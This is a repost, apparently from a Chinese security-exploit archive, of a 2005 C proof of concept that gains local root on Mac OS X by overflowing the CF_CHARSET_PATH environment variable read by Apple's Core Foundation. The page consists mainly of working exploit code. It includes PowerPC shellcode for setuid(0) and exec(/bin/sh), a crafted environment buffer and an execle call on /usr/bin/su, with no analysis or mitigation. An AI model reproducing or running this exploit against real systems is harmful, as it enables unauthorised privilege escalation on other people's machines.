首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Core Foundation Library CF_CHARSET_PATH Local Root Exploit
来源:www.fakehalo.us 作者:v9 发布时间:2005-03-23  

Apple Core Foundation Library "CF_CHARSET_PATH" Local Root Exploit

/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
*
* by: v9@fakehalo.us (fakehalo/realhalo)
*
* found by: iDefense (anon finder)
*
* saw the advisory on bugtraq and figured i'd slap this
* together, so simple i had to. exploits via the
* /usr/bin/su binary. you must press ENTER at the
* "Password: " prompt.
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
printf("[*] setting up the environment.\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LuxMan -f Option Buffer Overfl
·Linux Kernel <= 2.6.11 sys_
·OpenBSD TCP TIMESTAMP Remote D
·Linux Kernel 2.4.x / 2.6.x use
·AWStats Remote Command Executi
·MCPWS Personal DoS Exploit
·GoodTech Telnet Server 5.x Rem
·FreeCiv Server DoS Exploit
·iPool v1.6.81 Local Password D
·phpBB UID Exploit (Perl Exploi
·iSnooker v1.6.8 Local Password
·Ocean FTP DoS (Exploit)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved